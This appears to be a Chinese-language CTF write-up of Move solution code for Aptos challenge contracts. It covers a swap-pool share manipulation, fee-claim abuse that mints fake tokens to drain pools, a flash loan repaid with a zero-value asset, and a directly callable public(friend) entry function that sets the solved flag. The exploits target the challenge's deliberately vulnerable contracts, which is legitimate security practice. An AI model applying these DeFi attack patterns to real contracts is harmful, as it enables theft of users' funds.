public entry fun solve(account: &signer) { let constructor_ref = object::create_named_object(account, b"74e0d36a18"); let object_signer = object::generate_signer(&constructor_ref); let safe_obj = object::address_to_object<SafeDepositBox>(@0x5d26592cd1c87c51aec9a4f0071011905b534b62a0eae4c5966ef8f13b5f4011); let flag = this::open_safe(safe_obj, &object_signer); let flag = this::touch_this(flag, b"osec", &object_signer); this::close_safe(flag, account);}
Sage
题目需要传入一个 m 向量和 n 向量参与运算得到的结果与 flag 相等。
观察可以知道是自实现的矩阵运算,需要先用给的前 9 个 next_text 元素解出 X 矩阵的所有情况,然后枚举计算能使所有 m 都有解的 X 矩阵情况。
public entry fun solve() { let m = vector[22,12,17,6,17,0,19,20,33,0,19,8,14,13,18,24,36,20,0,10,37,0,28,4,3,41,36,1,17,37,0,32,19,7,4,29,8,11,11,34,18,39,35,32,5,11,4,16,30,39,11,4,7,0,22,8,28,15,33,0,13,4,41]; let n = vector[25, 11, 6, 32, 13, 3, 12, 19, 2]; sage::challenge(m, n);}
module solution::exploit { use challenge::swap; use challenge::swap::APT; use challenge::swap::TokenB; public entry fun solve_part_1(account: &signer) { // first get claim swap::claim(account); // - Get 6 APT // 1. User deposit 1 APT swap::deposit(account, 1); // 2. User donate 4 APT swap::donate(account, 4); } // 3. Admin deposit 8 APT public entry fun solve_part_2(account: &signer) { // 4. User withdraw 1 Share and get 6 APT as expected swap::withdraw(account, 1); // - Hack the swap pool swap::swap<APT, TokenB>(account, 6, true); swap::swap<APT, TokenB>(account, 6, false); swap::swap<APT, TokenB>(account, 11, true); swap::swap<APT, TokenB>(account, 6, false); } // End game public entry fun solve(account: &signer) {}}
public entry fun solve(account: &signer) { let account_address = address_of(account); let (osec_asset, movebit_asset, zellic_asset, jbz_asset ) = router::free_mint(account); let osec_metadata = fungible_asset::metadata_from_asset(&osec_asset); let movebit_metadata = fungible_asset::metadata_from_asset(&movebit_asset); let zellic_metadata = fungible_asset::metadata_from_asset(&zellic_asset); let jbz_metadata = fungible_asset::metadata_from_asset(&jbz_asset); let account_address = address_of(account); pool::set_fee_manager(account, account_address); pool::accept_fee_manager(account); // token1: osec // token2: movebit let fake_constructor_ref = &object::create_named_object(account, OSEC); primary_fungible_store::create_primary_store_enabled_fungible_asset(fake_constructor_ref, option::none(), utf8(OSEC), utf8(OSEC), 9, utf8(b"http://example.com/favicon.ico"), utf8(b"https://ctf.aptosfoundation.org/"),); let osec_mint_ref = fungible_asset::generate_mint_ref(fake_constructor_ref); let fake_osec_tokens = fungible_asset::mint(&osec_mint_ref, 8900); let token = router::swap_a_2_b(fake_osec_tokens, movebit_metadata, true); primary_fungible_store::deposit(account_address, token); let (a, b) = router::claim_fees(account, osec_metadata, movebit_metadata, true); primary_fungible_store::deposit(account_address, a); primary_fungible_store::deposit(account_address, b); let (fee1, fee2) = router::fees(osec_metadata, movebit_metadata, true); let (balance1, balance2) = router::balance(osec_metadata, movebit_metadata, true); assert!(balance1 == 0, 0); assert!(balance2 == 1337, 0); let constructor_ref = &object::create_named_object(account, MOVEBIT); primary_fungible_store::create_primary_store_enabled_fungible_asset(constructor_ref, option::none(), utf8(MOVEBIT), utf8(MOVEBIT), 9, utf8(b"http://example.com/favicon.ico"), utf8(b"https://ctf.aptosfoundation.org/"),); let movebit_mint_ref = fungible_asset::generate_mint_ref(constructor_ref); let fake_movebit_tokens = fungible_asset::mint(&movebit_mint_ref, 66850); let token = router::swap_b_2_a(osec_metadata, fake_movebit_tokens, true); primary_fungible_store::deposit(account_address, token); let (a, b) = router::claim_fees(account, osec_metadata, movebit_metadata, true); primary_fungible_store::deposit(account_address, a); primary_fungible_store::deposit(account_address, b); assert!(pool::is_sorted(zellic_metadata, jbz_metadata), 0); // token1: zellic_metadata // token2: jbz_metadata let constructor_ref = &object::create_named_object(account, ZELLIC); primary_fungible_store::create_primary_store_enabled_fungible_asset(constructor_ref, option::none(), utf8(ZELLIC), utf8(ZELLIC), 9, utf8(b"http://example.com/favicon.ico"), utf8(b"https://ctf.aptosfoundation.org/"),); let zellic_mint_ref = fungible_asset::generate_mint_ref(constructor_ref); let fake_zellic_tokens = fungible_asset::mint(&zellic_mint_ref, 4100); let token = router::swap_a_2_b(fake_zellic_tokens, jbz_metadata, true); primary_fungible_store::deposit(account_address, token); let (a, b) = router::claim_fees(account, zellic_metadata, jbz_metadata, true); primary_fungible_store::deposit(account_address, a); primary_fungible_store::deposit(account_address, b); let constructor_ref = &object::create_named_object(account, JBZ); primary_fungible_store::create_primary_store_enabled_fungible_asset(constructor_ref, option::none(), utf8(JBZ), utf8(JBZ), 9, utf8(b"http://example.com/favicon.ico"), utf8(b"https://ctf.aptosfoundation.org/"),); let jbz_mint_ref = fungible_asset::generate_mint_ref(constructor_ref); let fake_jbz_tokens = fungible_asset::mint(&jbz_mint_ref, 133700); let token = router::swap_b_2_a(zellic_metadata, fake_jbz_tokens, true); primary_fungible_store::deposit(account_address, token); let (a, b) = router::claim_fees(account, zellic_metadata, jbz_metadata, true); primary_fungible_store::deposit(account_address, a); primary_fungible_store::deposit(account_address, b); primary_fungible_store::deposit(account_address, osec_asset); primary_fungible_store::deposit(account_address, movebit_asset); primary_fungible_store::deposit(account_address, zellic_asset); primary_fungible_store::deposit(account_address, jbz_asset);}
看到 revenge 时候才知道这题原来还有非预期…
Groth16
不给 hint 之前看到这一堆 math 感觉不会做,放了。
给了 hint 之后发现文档内容:
Note that it’s possible to combine entry with public or public(friend), In this case sample_function can be called by both the Aptos CLI/SDK by any module declared as a friend.
而更改 flag 的状态函数刚好就是这个情况,直接调用这个函数当入口即可,合约都不用写。
public(friend) entry fun modify_value() acquires ChallengeStatus { let challenge_status = borrow_global_mut<ChallengeStatus>(@challenger); challenge_status.is_solved = true;}
public entry fun solve(account: &signer) { let account_address = address_of(account); let asset = flash::flash_loan(account, 1337); let asset_zero = fungible_asset::zero(fungible_asset::asset_metadata(&asset)); flash::repay(account, asset_zero); primary_fungible_store::deposit(account_address, asset);}